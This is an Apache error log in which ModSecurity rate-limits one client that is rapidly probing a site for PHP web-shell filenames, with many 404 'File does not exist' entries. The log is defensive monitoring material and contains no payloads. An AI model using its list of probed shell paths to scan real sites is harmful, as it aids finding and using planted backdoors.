[Sun Mar 22 15:22:33.149107 2026] [:error] [pid 40039:tid 40051] [client 40.89.156.15:14336] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "ab-YuR3aDgUJfBYishlWuQAAAQo"]
[Sun Mar 22 15:22:34.586450 2026] [:error] [pid 51468:tid 51495] [client 40.89.156.15:15522] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "ab-Yuk2TppSvA8W5CBS0mQAAANM"]
[Sun Mar 22 15:22:35.251033 2026] [:error] [pid 51362:tid 51413] [client 40.89.156.15:14416] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "ab-Yu8OwPm3DXzTDjUc_CQAAAEw"]
[Sun Mar 22 15:23:07.029584 2026] [:error] [pid 51363:tid 51440] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/5b9ac.php
[Sun Mar 22 15:23:07.372817 2026] [:error] [pid 51363:tid 51428] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Sun Mar 22 15:23:07.664246 2026] [:error] [pid 51363:tid 51449] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/varb.php
[Sun Mar 22 15:23:08.001353 2026] [:error] [pid 51363:tid 51442] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/lm15.php
[Sun Mar 22 15:23:08.239816 2026] [:error] [pid 51363:tid 51448] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/clss.php
[Sun Mar 22 15:23:08.580492 2026] [:error] [pid 51363:tid 51431] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/44.php
[Sun Mar 22 15:23:09.018523 2026] [:error] [pid 51363:tid 51436] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/a5e0a.php
[Sun Mar 22 15:23:09.362801 2026] [:error] [pid 51363:tid 51451] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/bo.php
[Sun Mar 22 15:23:09.676973 2026] [:error] [pid 51363:tid 51446] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/56c53.php
[Sun Mar 22 15:23:09.995059 2026] [:error] [pid 51363:tid 51442] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/sid3.php
[Sun Mar 22 15:23:10.499167 2026] [:error] [pid 51363:tid 51441] [client 40.89.156.15:15782] File does not exist: /usr/local/apache/htdocs/suspended-page/pas2.php
[Sun Mar 22 15:23:12.008337 2026] [:error] [pid 51363:tid 51443] [client 40.89.156.15:15782] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "ab-Y4Fwa9x6OCTRkhl0X7AAAAI4"]
[Sun Mar 22 15:23:14.377768 2026] [:error] [pid 51362:tid 51418] [client 40.89.156.15:15106] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "ab-Y4sOwPm3DXzTDjUc_LAAAAFE"]
[Sun Mar 22 15:23:15.774092 2026] [:error] [pid 51468:tid 51484] [client 40.89.156.15:15795] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "ab-Y402TppSvA8W5CBS08QAAAMg"]
[Sun Mar 22 15:23:17.444662 2026] [:error] [pid 51468:tid 51492] [client 40.89.156.15:15495] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "ab-Y5U2TppSvA8W5CBS0-wAAANA"]
[Sun Mar 22 15:23:18.508687 2026] [:error] [pid 51363:tid 51442] [client 40.89.156.15:15788] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ab-Y5lwa9x6OCTRkhl0X-QAAAI0"]
[Sun Mar 22 15:23:20.755723 2026] [:error] [pid 51468:tid 51481] [client 40.89.156.15:1418] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ab-Y6E2TppSvA8W5CBS1AQAAAMU"]
[Sun Mar 22 15:23:23.010939 2026] [:error] [pid 51468:tid 51479] [client 40.89.156.15:14851] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ab-Y602TppSvA8W5CBS1CQAAAMM"]
[Sun Mar 22 15:23:25.566928 2026] [:error] [pid 51468:tid 51499] [client 40.89.156.15:15152] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ab-Y7U2TppSvA8W5CBS1EQAAANc"]
[Sun Mar 22 15:23:28.615192 2026] [:error] [pid 40039:tid 40057] [client 40.89.156.15:7472] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ab-Y8B3aDgUJfBYishlW-wAAARA"]
[Sun Mar 22 15:23:36.342293 2026] [:error] [pid 40039:tid 40060] [client 40.89.156.15:15148] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ab-Y-B3aDgUJfBYishlXCgAAARM"]
[Sun Mar 22 15:23:45.376741 2026] [:error] [pid 51468:tid 51489] [client 40.89.156.15:16078] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "ab-ZAU2TppSvA8W5CBS1RwAAAM0"]
[Sun Mar 22 15:23:48.111448 2026] [:error] [pid 51363:tid 51451] [client 40.89.156.15:7437] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "ab-ZBFwa9x6OCTRkhl0YGwAAAJU"]
[Sun Mar 22 15:23:49.645471 2026] [:error] [pid 51362:tid 51405] [client 40.89.156.15:16080] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "ab-ZBcOwPm3DXzTDjUc_TQAAAEQ"]
[Sun Mar 22 15:23:51.419054 2026] [:error] [pid 51363:tid 51449] [client 40.89.156.15:15852] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "ab-ZB1wa9x6OCTRkhl0YHwAAAJM"]
[Sun Mar 22 15:23:54.952033 2026] [:error] [pid 51363:tid 51441] [client 40.89.156.15:7433] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wta.php"] [unique_id "ab-ZClwa9x6OCTRkhl0YJQAAAIw"]
[Sun Mar 22 15:23:56.535799 2026] [:error] [pid 51361:tid 51396] [client 40.89.156.15:15769] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wta.php"] [unique_id "ab-ZDBXYUsdvKC9YWpWiVQAAABc"]
[Sun Mar 22 15:24:00.144847 2026] [:error] [pid 51363:tid 51431] [client 40.89.156.15:7479] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wta.php"] [unique_id "ab-ZEFwa9x6OCTRkhl0YMAAAAIM"]
[Sun Mar 22 15:24:01.703623 2026] [:error] [pid 51362:tid 51419] [client 40.89.156.15:15819] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wta.php"] [unique_id "ab-ZEcOwPm3DXzTDjUc_WwAAAFI"]
[Sun Mar 22 15:24:03.915610 2026] [:error] [pid 40039:tid 40048] [client 40.89.156.15:16283] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ab-ZEx3aDgUJfBYishlXHQAAAQc"]
[Sun Mar 22 15:24:04.590753 2026] [:error] [pid 40039:tid 40055] [client 40.89.156.15:1438] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ab-ZFB3aDgUJfBYishlXHwAAAQ4"]
[Sun Mar 22 15:24:05.431018 2026] [:error] [pid 51468:tid 51477] [client 40.89.156.15:16378] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ab-ZFU2TppSvA8W5CBS1ggAAAME"]
[Sun Mar 22 15:24:06.113495 2026] [:error] [pid 51362:tid 51405] [client 40.89.156.15:1421] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ab-ZFsOwPm3DXzTDjUc_YAAAAEQ"]
[Sun Mar 22 15:24:07.000582 2026] [:error] [pid 51362:tid 51415] [client 40.89.156.15:16338] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "ab-ZFsOwPm3DXzTDjUc_YwAAAE4"]
[Sun Mar 22 15:24:07.637772 2026] [:error] [pid 51362:tid 51419] [client 40.89.156.15:16341] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "ab-ZF8OwPm3DXzTDjUc_ZQAAAFI"]
[Sun Mar 22 15:24:09.029025 2026] [:error] [pid 40039:tid 40064] [client 40.89.156.15:15583] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "ab-ZGR3aDgUJfBYishlXJQAAARc"]
[Sun Mar 22 15:24:09.619019 2026] [:error] [pid 51362:tid 51425] [client 40.89.156.15:15542] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "ab-ZGcOwPm3DXzTDjUc_aAAAAFg"]
[Sun Mar 22 15:24:10.616615 2026] [:error] [pid 51468:tid 51494] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/cc13.php
[Sun Mar 22 15:24:10.910430 2026] [:error] [pid 51468:tid 51484] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/xper1.php
[Sun Mar 22 15:24:11.149937 2026] [:error] [pid 51468:tid 51480] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Sun Mar 22 15:24:11.528417 2026] [:error] [pid 51468:tid 51477] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/save.php
[Sun Mar 22 15:24:11.843778 2026] [:error] [pid 51468:tid 51483] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Sun Mar 22 15:24:12.138092 2026] [:error] [pid 51468:tid 51486] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/roter.php
[Sun Mar 22 15:24:12.378985 2026] [:error] [pid 51468:tid 51488] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/shellerr.php
[Sun Mar 22 15:24:12.618515 2026] [:error] [pid 51468:tid 51482] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/aee.php
[Sun Mar 22 15:24:12.964496 2026] [:error] [pid 51468:tid 51481] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/sweg.php
[Sun Mar 22 15:24:13.264388 2026] [:error] [pid 51468:tid 51494] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/phina.php
[Sun Mar 22 15:24:13.502324 2026] [:error] [pid 51468:tid 51497] [client 40.89.156.15:15751] File does not exist: /usr/local/apache/htdocs/suspended-page/an7.php
[Sun Mar 22 15:24:14.077861 2026] [:error] [pid 51468:tid 51491] [client 40.89.156.15:15751] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rovoj.php"] [unique_id "ab-ZHk2TppSvA8W5CBS1mgAAAM8"]
[Sun Mar 22 15:24:14.699490 2026] [:error] [pid 51363:tid 51454] [client 40.89.156.15:15530] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rovoj.php"] [unique_id "ab-ZHlwa9x6OCTRkhl0YOgAAAJg"]
[Sun Mar 22 15:24:15.503264 2026] [:error] [pid 40039:tid 40052] [client 40.89.156.15:16056] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rovoj.php"] [unique_id "ab-ZHx3aDgUJfBYishlXMgAAAQs"]
[Sun Mar 22 15:24:16.215525 2026] [:error] [pid 51362:tid 51404] [client 40.89.156.15:15563] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rovoj.php"] [unique_id "ab-ZIMOwPm3DXzTDjUc_cAAAAEM"]
[Sun Mar 22 15:24:17.026047 2026] [:error] [pid 51363:tid 51434] [client 40.89.156.15:15489] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awh.php"] [unique_id "ab-ZIVwa9x6OCTRkhl0YPwAAAIY"]
[Sun Mar 22 15:24:17.604595 2026] [:error] [pid 51468:tid 51478] [client 40.89.156.15:16297] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awh.php"] [unique_id "ab-ZIU2TppSvA8W5CBS1mwAAAMI"]
[Sun Mar 22 15:24:18.276859 2026] [:error] [pid 51363:tid 51442] [client 40.89.156.15:15600] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awh.php"] [unique_id "ab-ZIlwa9x6OCTRkhl0YRgAAAI0"]
[Sun Mar 22 15:24:18.871193 2026] [:error] [pid 51363:tid 51454] [client 40.89.156.15:16045] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awh.php"] [unique_id "ab-ZIlwa9x6OCTRkhl0YSAAAAJg"]
[Sun Mar 22 15:24:20.129365 2026] [:error] [pid 40039:tid 40054] [client 40.89.156.15:7427] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpmini.php"] [unique_id "ab-ZJB3aDgUJfBYishlXOgAAAQ0"]
[Sun Mar 22 15:24:20.893767 2026] [:error] [pid 51362:tid 51405] [client 40.89.156.15:7453] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpmini.php"] [unique_id "ab-ZJMOwPm3DXzTDjUc_dAAAAEQ"]
[Sun Mar 22 15:24:21.704888 2026] [:error] [pid 51363:tid 51430] [client 40.89.156.15:15839] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpmini.php"] [unique_id "ab-ZJVwa9x6OCTRkhl0YWQAAAII"]
[Sun Mar 22 15:24:23.041929 2026] [:error] [pid 40039:tid 40057] [client 40.89.156.15:1456] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpmini.php"] [unique_id "ab-ZJx3aDgUJfBYishlXPAAAARA"]
[Sun Mar 22 15:24:24.273761 2026] [:error] [pid 51361:tid 51387] [client 40.89.156.15:15858] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/caiij.php"] [unique_id "ab-ZKBXYUsdvKC9YWpWiaQAAAA8"]
[Sun Mar 22 15:24:25.041041 2026] [:error] [pid 51363:tid 51450] [client 40.89.156.15:15747] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/caiij.php"] [unique_id "ab-ZKVwa9x6OCTRkhl0YbgAAAJQ"]
[Sun Mar 22 15:24:26.918853 2026] [:error] [pid 51363:tid 51453] [client 40.89.156.15:16361] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/caiij.php"] [unique_id "ab-ZKlwa9x6OCTRkhl0YdAAAAJc"]
[Sun Mar 22 15:24:28.765292 2026] [:error] [pid 40039:tid 40047] [client 40.89.156.15:16027] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/caiij.php"] [unique_id "ab-ZLB3aDgUJfBYishlXSQAAAQY"]
[Sun Mar 22 15:24:29.890012 2026] [:error] [pid 51363:tid 51450] [client 40.89.156.15:15604] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xex.php"] [unique_id "ab-ZLVwa9x6OCTRkhl0YewAAAJQ"]
[Sun Mar 22 15:24:31.284396 2026] [:error] [pid 51363:tid 51442] [client 40.89.156.15:15772] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xex.php"] [unique_id "ab-ZL1wa9x6OCTRkhl0YgAAAAI0"]
[Sun Mar 22 15:24:32.915271 2026] [:error] [pid 51468:tid 51486] [client 40.89.156.15:16379] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xex.php"] [unique_id "ab-ZME2TppSvA8W5CBS1ogAAAMo"]
